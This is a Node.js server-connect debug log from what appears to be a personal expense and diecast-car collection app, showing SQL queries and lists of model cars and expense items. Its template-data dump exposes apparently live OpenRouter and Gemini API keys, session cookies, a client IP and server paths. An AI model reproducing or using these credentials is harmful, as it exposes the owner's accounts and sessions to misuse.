      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:28:58.766Z server-connect:router Serving templateView /diecast
2026-02-04T11:28:58.766Z server-connect:app Executing action step identify
2026-02-04T11:28:58.766Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:58.766Z server-connect:output identity: 1
2026-02-04T11:28:58.766Z server-connect:app Executing action step restrict
2026-02-04T11:28:58.766Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:28:58.767Z server-connect:output restrict: undefined
2026-02-04T11:28:58.767Z server-connect:router Render template layouts/main
2026-02-04T11:28:58.767Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:28:59.883Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:28:59.884Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:28:59.885Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:28:59.886Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:28:59.886Z server-connect:app Executing action step identify
2026-02-04T11:28:59.886Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.886Z server-connect:output identity: 1
2026-02-04T11:28:59.886Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.886Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.887Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:28:59.888Z server-connect:output restrict: undefined
2026-02-04T11:28:59.888Z server-connect:app Executing action step select
2026-02-04T11:28:59.888Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:28:59.888Z server-connect:app Executing action step identify
2026-02-04T11:28:59.888Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.889Z server-connect:output identity: 1
2026-02-04T11:28:59.889Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.889Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.890Z server-connect:app Executing action step identify
2026-02-04T11:28:59.890Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.890Z server-connect:output identity: 1
2026-02-04T11:28:59.890Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.891Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:28:59.891Z server-connect:app Executing action step identify
2026-02-04T11:28:59.891Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.891Z server-connect:output identity: 1
2026-02-04T11:28:59.891Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.892Z server-connect:app Executing action step identify
2026-02-04T11:28:59.892Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.893Z server-connect:output identity: 1
2026-02-04T11:28:59.893Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.893Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.895Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:28:59.896Z server-connect:app Executing action step identify
2026-02-04T11:28:59.896Z server-connect:app options: { provider: 'security' }
2026-02-04T11:28:59.896Z server-connect:output identity: 1
2026-02-04T11:28:59.896Z server-connect:app Executing action step restrict
2026-02-04T11:28:59.896Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:28:59.896Z server-connect:output restrict: undefined
2026-02-04T11:28:59.896Z server-connect:app Executing action step single
2026-02-04T11:28:59.896Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:28:59.897Z server-connect:output restrict: undefined
2026-02-04T11:28:59.897Z server-connect:app Executing action step select
2026-02-04T11:28:59.897Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:28:59.898Z server-connect:output restrict: undefined
2026-02-04T11:28:59.898Z server-connect:app Executing action step select
2026-02-04T11:28:59.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:28:59.898Z server-connect:output restrict: undefined
2026-02-04T11:28:59.898Z server-connect:app Executing action step select
2026-02-04T11:28:59.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:28:59.898Z server-connect:output restrict: undefined
2026-02-04T11:28:59.898Z server-connect:app Executing action step paged
2026-02-04T11:28:59.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:28:59.899Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
